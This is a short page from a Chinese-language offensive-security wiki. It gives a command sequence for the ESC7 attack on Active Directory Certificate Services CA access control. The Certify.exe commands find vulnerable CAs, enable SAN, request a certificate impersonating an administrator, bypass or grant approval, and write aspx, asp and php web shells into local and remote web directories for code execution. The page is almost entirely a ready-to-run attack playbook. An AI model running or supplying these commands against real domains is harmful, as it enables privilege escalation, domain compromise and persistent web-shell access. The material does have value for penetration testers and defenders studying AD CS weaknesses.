> For the complete documentation index, see [llms.txt](https://www.heresecurity.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.heresecurity.wiki/heng-xiang-yi-dong/activedirectory-zheng-shu-fu-wu/esc7-yi-shou-gong-ji-de-zheng-shu-ban-fa-ji-gou-fang-wen-kong-zhi.md).

# ESC7-易受攻击的证书颁发机构访问控制

```
检测允许低权限用户ManageCA 或Manage Certificates权限 的 CA
>Certify.exe find /vulnerable
更改 CA 设置以为易受攻击的 CA (ESC6) 下的所有模板启用 SAN 扩展
>Certify.exe setconfig /enablesan /restart
使用所需的 SAN 请求证书。
>Certify.exe request /template:User /altname:super.adm
如果需要，授予批准或禁用批准要求
授予
>Certify.exe issue /id:[REQUEST ID]
禁用
>Certify.exe setconfig /removeapproval /restart
从ManageCA到ADCS 服务器上的RCE的替代利用：

获取当前的 CDP 列表。 用于查找远程可写共享：
Certify.exe writefile /ca:SERVER\ca-name /readonly

将 aspx shell 写入本地 Web 目录：
Certify.exe writefile /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-Name\shell.aspx /input:C:\Local\Path\shell.aspx

将默认的 asp shell 写入本地 web 目录：
Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp

将 php shell 写入远程 Web 目录：
Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /input:C:\Local\path\shell.php
```


---

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